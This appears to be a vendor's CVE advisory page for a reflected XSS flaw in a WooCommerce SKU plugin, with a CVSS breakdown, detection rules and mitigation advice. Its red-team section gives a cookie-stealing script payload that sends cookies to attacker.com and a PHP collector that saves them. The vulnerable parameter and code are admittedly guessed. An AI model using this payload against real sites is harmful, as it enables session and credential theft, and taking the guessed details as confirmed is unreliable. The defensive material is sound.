CVE-2025-30917
Executive Summary
CVE-2025-30917 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin SKU Generator for WooCommerce (sku-for-woocommerce) by WP Wham. This flaw allows an unauthenticated attacker to inject arbitrary web scripts into a page, which will execute in the context of the victim’s browser when they click a crafted link. The vulnerability affects all versions up to and including 1.6.2. No official patch has been released at the time of analysis. The CVSS score is 7.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild, but the risk remains significant for unpatched WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. There is no known compromise of the plugin’s supply chain, but the lack of a patch means users must rely on temporary mitigations or remove the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a malicious link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Reflected XSS can lead to session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The vulnerability exists in the SKU Generator for WooCommerce plugin, which generates SKU numbers for WooCommerce products. The plugin fails to properly sanitize user-supplied input before reflecting it in the web page output. An attacker can craft a URL containing malicious JavaScript code in a parameter (likely a search or filter parameter) that the plugin processes and echoes back without proper encoding.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?sku_generator_search=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The plugin processes the
sku_generator_searchparameter and reflects it in the HTML response. - The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely vulnerable code pattern. The plugin likely uses echo $_GET['sku_generator_search']; or similar without sanitization.
Vulnerable Code (PHP):
<?php
// Vulnerable: direct reflection of user input
$search = $_GET['sku_generator_search'];
echo "<div>Search results for: " . $search . "</div>";
?>
Patched Code (Hypothetical):
<?php
// Patched: use esc_html() to encode output
$search = isset($_GET['sku_generator_search']) ? sanitize_text_field($_GET['sku_generator_search']) : '';
echo "<div>Search results for: " . esc_html($search) . "</div>";
?>
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with SKU Generator for WooCommerce <= 1.6.2 installed and activated.
- Attacker machine with a web browser or curl.
Proof-of-Concept (PoC) URL:
https://target-site.com/?sku_generator_search=<script>alert(document.cookie)</script>
Step-by-Step:
- Identify the vulnerable parameter (likely
sku_generator_searchor similar). - Craft a payload to steal cookies:
https://target-site.com/?sku_generator_search=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script> - Send the link to the victim via email or social engineering.
- On the attacker server, capture the cookie in
steal.php:<?php $cookie = $_GET['c']; file_put_contents('stolen_cookies.txt', $cookie . "\n", FILE_APPEND); ?>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for requests containing
<script>tags or suspicious parameters. - Use a Web Application Firewall (WAF) to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup for Testing:
- Use a local WordPress instance with the vulnerable plugin.
- Deploy a WAF (e.g., ModSecurity) to test rule effectiveness.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
sku_generator_search=followed by<script>or%3Cscript%3E. - Log Entries: HTTP 200 responses with reflected script tags in the body.
- Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
- File Hashes: No specific file hashes; the plugin itself is the indicator.
Detection Engineering
YARA Rule
rule CVE_2025_30917_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting SKU Generator for WooCommerce"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-30917"
strings:
$param = "sku_generator_search="
$script = /<script[^>]*>.*<\/script>/i
condition:
$param and $script
}
Sigma Rule
title: Reflected XSS Attempt Against SKU Generator for WooCommerce
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects HTTP requests with reflected XSS payloads in the sku_generator_search parameter
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "sku_generator_search="
cs-uri-query|contains|all:
- "<script"
- "</script>"
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30917 - Reflected XSS in SKU Generator for WooCommerce"; flow:to_server; content:"sku_generator_search="; http_uri; content:"<script"; http_uri; nocase; content:"</script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block requests containing
sku_generator_search=with script tags. - Add CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fix:
- Monitor the plugin’s repository for an official update.
- Apply input sanitization and output encoding (e.g.,
esc_html(),wp_kses()). - Conduct a security audit of all WordPress plugins.
Valters IT – Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.